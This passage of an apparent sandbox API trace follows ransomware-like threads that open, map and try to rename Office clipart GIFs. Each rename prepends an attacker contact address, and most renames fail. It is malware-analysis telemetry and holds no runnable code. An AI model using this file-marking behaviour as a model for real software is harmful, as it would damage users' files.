	[0095.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif")) returned 0
	[0095.100] free (_Block=0x51f3088) 
	[0095.100] RtlExitUserThread (Status=0x0) 

Thread:
	id = 600
	os_tid = 0x19d0

	[0095.102] _alloca_probe () returned 0x40328a
	[0095.102] GetCurrentThreadId () returned 0x19d0
	[0095.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", dwFileAttributes=0x80) returned 1
	[0095.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc18
	[0095.103] GetFileSizeEx (in: hFile=0xc18, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4977) returned 1
	[0095.103] CreateFileMappingA (hFile=0xc18, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1371, lpName=0x0) returned 0xc1c
	[0095.103] MapViewOfFile (hFileMappingObject=0xc1c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.104] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.104] CloseHandle (hObject=0xc1c) returned 1
	[0095.104] GetCurrentThreadId () returned 0x19d0
	[0095.104] FlushFileBuffers (hFile=0xc18) returned 1
	[0095.106] CloseHandle (hObject=0xc18) returned 1
	[0095.106] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 271
	[0095.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif")) returned 0
	[0095.107] free (_Block=0x51f0070) 
	[0095.107] RtlExitUserThread (Status=0x0) 

Thread:
	id = 601
	os_tid = 0x19d4

	[0095.108] _alloca_probe () returned 0x40328a
	[0095.109] GetCurrentThreadId () returned 0x19d4
	[0095.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", dwFileAttributes=0x80) returned 1
	[0095.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc1c
	[0095.109] GetFileSizeEx (in: hFile=0xc1c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5057) returned 1
	[0095.109] CreateFileMappingA (hFile=0xc1c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c1, lpName=0x0) returned 0xc20
	[0095.109] MapViewOfFile (hFileMappingObject=0xc20, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.111] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.111] CloseHandle (hObject=0xc20) returned 1
	[0095.111] GetCurrentThreadId () returned 0x19d4
	[0095.111] FlushFileBuffers (hFile=0xc1c) returned 1
	[0095.112] CloseHandle (hObject=0xc1c) returned 1
	[0095.113] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 271
	[0095.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif")) returned 0
	[0095.113] free (_Block=0x51f1078) 
	[0095.113] RtlExitUserThread (Status=0x0) 

Thread:
	id = 602
	os_tid = 0x19d8

	[0095.115] _alloca_probe () returned 0x40328a
	[0095.115] GetCurrentThreadId () returned 0x19d8
	[0095.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", dwFileAttributes=0x80) returned 1
	[0095.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc20
	[0095.115] GetFileSizeEx (in: hFile=0xc20, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1169) returned 1
	[0095.115] CreateFileMappingA (hFile=0xc20, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x491, lpName=0x0) returned 0xc24
	[0095.116] MapViewOfFile (hFileMappingObject=0xc24, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.116] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.116] CloseHandle (hObject=0xc24) returned 1
	[0095.116] GetCurrentThreadId () returned 0x19d8
	[0095.116] FlushFileBuffers (hFile=0xc20) returned 1
	[0095.118] CloseHandle (hObject=0xc20) returned 1
	[0095.118] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 271
	[0095.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif")) returned 0
	[0095.119] free (_Block=0x51f3088) 
	[0095.119] RtlExitUserThread (Status=0x0) 

Thread:
	id = 603
	os_tid = 0x19dc

	[0095.120] _alloca_probe () returned 0x40328a
	[0095.121] GetCurrentThreadId () returned 0x19dc
	[0095.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", dwFileAttributes=0x80) returned 1
	[0095.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc24
	[0095.122] GetFileSizeEx (in: hFile=0xc24, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7617) returned 1
	[0095.122] CreateFileMappingA (hFile=0xc24, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dc1, lpName=0x0) returned 0xc28
	[0095.122] MapViewOfFile (hFileMappingObject=0xc28, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.124] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.124] CloseHandle (hObject=0xc28) returned 1
	[0095.124] GetCurrentThreadId () returned 0x19dc
	[0095.124] FlushFileBuffers (hFile=0xc24) returned 1
	[0095.125] CloseHandle (hObject=0xc24) returned 1
	[0095.126] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 271
	[0095.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif")) returned 0
	[0095.126] free (_Block=0x51f3088) 
	[0095.126] RtlExitUserThread (Status=0x0) 

Thread:
	id = 604
	os_tid = 0x19e0

	[0095.128] _alloca_probe () returned 0x40328a
	[0095.128] GetCurrentThreadId () returned 0x19e0
	[0095.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", dwFileAttributes=0x80) returned 1
	[0095.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc28
	[0095.129] GetFileSizeEx (in: hFile=0xc28, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7025) returned 1
	[0095.129] CreateFileMappingA (hFile=0xc28, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b71, lpName=0x0) returned 0xc2c
	[0095.129] MapViewOfFile (hFileMappingObject=0xc2c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.132] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.132] CloseHandle (hObject=0xc2c) returned 1
	[0095.132] GetCurrentThreadId () returned 0x19e0
	[0095.132] FlushFileBuffers (hFile=0xc28) returned 1
	[0095.134] CloseHandle (hObject=0xc28) returned 1
	[0095.134] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 271
	[0095.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif")) returned 0
	[0095.134] free (_Block=0x51f0070) 
	[0095.134] RtlExitUserThread (Status=0x0) 

Thread:
	id = 605
	os_tid = 0x19e4

	[0095.136] _alloca_probe () returned 0x40328a
	[0095.136] GetCurrentThreadId () returned 0x19e4
	[0095.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", dwFileAttributes=0x80) returned 1
	[0095.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc2c
	[0095.137] GetFileSizeEx (in: hFile=0xc2c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13281) returned 1
	[0095.137] CreateFileMappingA (hFile=0xc2c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33e1, lpName=0x0) returned 0xc30
	[0095.137] MapViewOfFile (hFileMappingObject=0xc30, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.140] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.140] CloseHandle (hObject=0xc30) returned 1
	[0095.140] GetCurrentThreadId () returned 0x19e4
	[0095.140] FlushFileBuffers (hFile=0xc2c) returned 1
	[0095.142] CloseHandle (hObject=0xc2c) returned 1
	[0095.142] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 271
	[0095.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif")) returned 0
	[0095.142] free (_Block=0x51f60a0) 
	[0095.142] RtlExitUserThread (Status=0x0) 

Thread:
	id = 606
	os_tid = 0x19e8

	[0095.144] _alloca_probe () returned 0x40328a
	[0095.145] GetCurrentThreadId () returned 0x19e8
	[0095.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", dwFileAttributes=0x80) returned 1
	[0095.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc30
	[0095.145] GetFileSizeEx (in: hFile=0xc30, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8609) returned 1
	[0095.145] CreateFileMappingA (hFile=0xc30, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21a1, lpName=0x0) returned 0xc34
	[0095.145] MapViewOfFile (hFileMappingObject=0xc34, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.147] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.148] CloseHandle (hObject=0xc34) returned 1
	[0095.148] GetCurrentThreadId () returned 0x19e8
	[0095.148] FlushFileBuffers (hFile=0xc30) returned 1
	[0095.149] CloseHandle (hObject=0xc30) returned 1
	[0095.149] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 271
	[0095.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif")) returned 0
	[0095.150] free (_Block=0x51f0070) 
	[0095.150] RtlExitUserThread (Status=0x0) 

Thread:
	id = 607
	os_tid = 0x19ec

	[0095.151] _alloca_probe () returned 0x40328a
	[0095.152] GetCurrentThreadId () returned 0x19ec
	[0095.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", dwFileAttributes=0x80) returned 1
